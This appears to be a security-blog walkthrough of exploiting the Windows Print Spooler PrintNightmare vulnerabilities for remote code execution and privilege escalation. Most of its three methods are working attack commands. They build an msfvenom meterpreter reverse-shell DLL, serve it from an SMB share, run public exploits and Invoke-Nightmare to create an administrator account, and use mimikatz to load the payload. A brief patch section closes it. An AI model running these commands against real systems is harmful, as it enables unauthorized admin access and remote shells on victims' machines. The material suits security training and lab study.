Privilege Escalation

Windows Privilege Escalation: PrintNightmare


Print Spooler has been on researcher’s radar ever since Stuxnet worm used print spooler’s privilege escalation vulnerability to spread through the network in nuclear enrichment centrifuges of Iran and infected more than 45000 networks. PrintNightmare is the common name given to a Remote Code Execution vulnerability in the Print Spooler service (spoolsv.exe) in Microsoft Windows Operating Systems. The vulnerability was assigned CVE-2021-34527. Initially, it was thought of as a Local Privilege Escalation (LPE) and assigned CVE-2021-1675. Immediate patches for the LPE were released in June 2021 and was marked low severity. About 2 weeks later, Microsoft changed the low severity status of LPE to severe as it was found that patches were bypassed and Remote Code Execution achieved CVE-2021-34527 assigned. There was a controversy after a misunderstanding between the authors and Microsoft where the RCE exploit got released on GitHub before the patches, making it a 0-day vulnerability. However, it was immediately rolled back. In this article, we will be focusing on Privilege Escalation using this Print Spooler vulnerability. The traction it got in 2021 made it vulnerability of the year.

Related CVEs:


Vulnerability Type     Remote Code Execution

Severity                         High

Base CVSS Score        9.3

Versions Affected       Windows_10:20h2, Windows_10:21h1, Windows_10:1607,

Windows_10:1809, Windows_10:1909, Windows_10:2004,

Windows_7sp1, Windows_8.1, Windows_rt_8.1,

Windows_Server_2008, Windows_Server_2008,

Windows_Server_2012, Windows_Server_2012:r2,

Windows_Server_2016, Windows_Server_2016:20h2,

Windows_Server_2016:2004, Windows_Server_2019


Vulnerability Type     Local Privilege Escalation

Severity                         High

Base CVSS Score        9.3

Versions Affected       Windows_10:20h2, Windows_10:21h1, Windows_10:1607,

Windows_10:1809, Windows_10:1909, Windows_10:2004,

Windows_7sp1, Windows_8.1, Windows_rt_8.1,

Windows_Server_2008, Windows_Server_2008,

Windows_Server_2012, Windows_Server_2012:r2,

Windows_Server_2016, Windows_Server_2016:20h2,

Windows_Server_2016:2004, Windows_Server_2019

Related Advisories:

Table of Content

  • Print Spooler Basics
  • Vulnerability Summary
  • Vulnerability Flow
  • Machine IPs
  • Method 1 – PrintNightmare RCE using Python
  • Method 2 – PrintNightmare LPE using Powershell
  • Method 3 – Printnightmare LPE using Mimikatz
  • Patch Status
  • Conclusion

Print Spooler Basics

Print spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:

Application: The print application creates a print job by calling Graphics Device Interface (GDI).

GDI: GDI includes both user-mode and kernel-mode components for graphics support.

winspool.drv is the interface that talks to the spooler. It provides the RPC stubs required to access the server.

spoolsv.exe is the spooler’s API server. This module implements message routing to print provider with the help of router (spoolss.dll)

spoolss.dll determines which print provider to call, based on a printer name and passes function call to the correct provider.

Vulnerability Summary

MS-RPRN protocol (Print System Remote Protocol) has a method RpcAddPrinterDriverEx() which allows remote driver installation by users with the SeLoadDriverPrivilege right. This right is only with users in Administrator group. So, the exploit tries to bypass this authentication in RpcAddPrinterDriver. Technique given by afwu.

Cube0x0 tweeted that he was able to achieve the same results by exploiting MS-PAR protocol’s RpcAsyncAddPrinterDriver() method which is similar to RpcAddPrinterDriver and loads drivers remotely. Technique can be found here.

We will use both these techniques in this demonstration article.

Vulnerability Flow

To understand the vulnerability flow, lets understand working of RpcAddPrinterDriver first. The steps are as follows:

  • Add a Printer Driver to a Server call (RpcAddPrinterDriver)
  • Client (Attacker) creates a share with printer driver files accessible
  • Client (attacker) crafts an MS-RPRN (Print System Remote Protocol) Driver container which has DRIVER_INFO_2 in it. (basically, these are variables that contain path of DLLs, type of architecture etc.)
  • Client (Attacker) calls:
    RpcAddPrinterDriver(“<name of print server>”, DriverContainer);

Security Check: When the client will call this function, system checks if the client has “SeLoadDriverPrivilege” which is by default given to administrators group.

Bypassing Security Check: AFWU mentioned in his original writeup that a user can supply the following parameters in the spooler service:

​ pDataFile =A.dll

​ pConfigFile =B.dll

​ pDriverPath=C.dll

Spooler service will copy A,B,C DLL files in C:\Windows\System32\spool\drivers\x64\3\new and then load them to C:\Windows\System32\spool\drivers\x64\3

He further elaborates that for pDataFile and pDriverPath there is a check in Windows that these DLLs can’t be a UNC path. But pConfigFile can be a UNC path and therefore an attacker can do the following:

​ pDataFile =A.dll

​ pConfigFile =\\attacker_share\evil.dll

​ pDriverPath=C.dll

Which in theory would force Windows to load evil.dll from an attacker’s share.

Thus, the authentication bypass happens as follows:

  • RpcAddPrinterDriver is called with suggested parameters and a UNC path leading to malicious DLL
  • Malicious DLL is copied in C:\Windows\System32\spool\drivers\x64\3\evil.dll
  • But this raises an access conflict so, we invoke Driver backup function and copy old drivers (including our malicious DLL) to the directory C:\Windows\System32\spool\drivers\x64\3\old\1\
  • Replace pConfigFile path to DLL to this C:\Windows\System32\spool\drivers\x64\3\old\1\evil.dll path
  • Access restriction is now bypassed and DLL loaded into spoolsv.exe successfully

This was elaborated in his writeup on Github which was removed. However, if you start your engines and travel your “wayback” into the time, you might be able to find it here 🙂

And the above stated process is the fundamental mechanism behind the working of exploits we will see in this article.

Machine IPs

Throughout the demo, following IP addresses have been taken:

Attacker IP:

Victim IP:

Compromised Credentials used: ignite/123

Method 1 – PrintNightmare RCE using Python

This is the method pertaining to CVE-2021-34527 (remote code execution as admin). You can find Cube0x0’s official PoC here. We will be using a forked version here.

First, we need to create a malicious DLL file which would run as ADMINISTRATOR. We use msfvenom for this.

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport=4444 -f dll -o evil.dll

Now, we can check if the target is vulnerable or not using metasploit’s auxiliary module. Here, I have entered a random path for DLL_PATH argument as I am not running the exploit, I just have to scan. In our testing, we found Metasploit’s printnightmare to be unreliable and hence, we are not showing this technique here. You can test it on your own and see if it works for you though. This run confirmed that victim is vulnerable to printnightmare.

use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
set SMBUser ignite
set SMBPass 123
set DLL_PATH /

We now start a handler beforehand prior to executing our DLL file using the exploit.

use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 4444

Now, we need to clone the github repo. We are using a forked version of Cube0x0’s original exploit.

git clone
cd PrintNightmare-CVE-2021-34527
chmod 777

Alright, one last step remaining is to host the malicious DLL in our SAMBA server. You can set up a samba server manually in Kali, use Windows host to host this or the easier approach is to use impacket’s smbserver.

Add the share name you want (in my case, “share” is used) and then supply the path (in my case, /root) where you have saved the malicious DLL.

python3 /usr/share/doc/python3-impacket/examples/ share /root

With everything prepped up and ready, we can launch the RCE exploit. The execution is simple

./ [email protected] ‘UNC_PATH of DLL hosted’

Here, we just launched a share on impacket, we will use that as the UNC path

./ ignite:[email protected] '\\\share\evil.dll'

As you can see, the victim has successfully executed our DLL file and returned us an administrator level session on the victim!

Method 2 – PrintNightmare LPE using Powershell

We have seen the remote exploit pertaining to CVE 2021-34527. Now, we will see the older local privilege escalation exploit. AFWU had implemented the original exploit in C plus plus while Caleb Stewart and John Hammond created a working PoC in powershell. Unlike the traditional exploit, this version doesn’t need an attacker to create SMB server in order to exploit. Instead of a remote UNC path injection, authors create a standalone DLL in temp directory and do a local UNC path injection.

git clone
cd CVE-2021-1675 && ls -al

Now, once the victim is compromised, we can upload this ps1 file in \Users\Public directory using IWR and setting up a python http server in the CVE-2021-1675 directory.

cd CVE-2021-1675
python3 -m http.server 80
powershell wget -O \Users\Public\cve.ps1
cd C:\Users\Public

Now, we can execute this ps1 file using powershell. This powershell script will help us in adding a new user in the administrator group using the credentials specified. For that, we need to spawn interactive powershell and Invoke the module like so:

powershell -ep bypass
Import-Module .\cve.ps1
Invoke-Nightmare -NewUser "harsh" -NewPassword "123" -DriverName "PrintMe"

As you can see, the script has made a custom DLL that adds a new user “harsh” with password 123 in admin group and the script has exploited print spool.

net localgroup administrator

We can confirm this by logging in to the victim using psexec.

python3 harsh:[email protected]

We are able to log in with the credentials and can confirm using net user command that harsh is infact a member of administrators now.

Method 3 – Printnightmare LPE using Mimikatz

When the PoC came on the internet, a new mimikatz plugin got added as a ritual in the misc section (misc::printnightmare). To exploit using mimikatz, we will use our existing DLL file “evil.dll” and also, we need our SMBserver running on the existing configuration. Now, we will download mimikatz.exe on our kali and start python HTTP server.

python3 -m http.server 80
powershell wget -O \users\Public\mimikatz.exe
misc::printnightmare /library:\\\share\evil.dll /authuser:ignite /authpassword:123 /try:50

As mimikatz has confirmed the execution has been successful. It throws an exception (probably because of some characters in the DLL) but the DLL has worked anyway and a reverse shell has been received on multi/handler.

Make sure to set up a handler on Metasploit before running this command. If everything goes right, you shall see a reverse shell!

And thus, we have conducted privilege escalation by exploiting PrintNightmare vulnerability.

Patch Status

Microsoft released out of band patches to deal with this vulnerability which can be found on the MSRC bulletin advisory mentioned in the introduction. Furthermore, system admins should consider disabling point and print functionality and disabling printing on users where it is not necessary.


Due to the nature of this vulnerability and ease of exploitation, PrintNightmare is a severe vulnerability that got a de-facto vulnerability of the year award in 2021. Many newer exploits have arised since then that target spoolsv.exe and despite all the efforts by Microsoft, patches are getting bypassed and so, it is highly recommended that analysts stay aware of upcoming threats to Print Spooler and keep their monitoring definitions updated. Hope you liked the article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here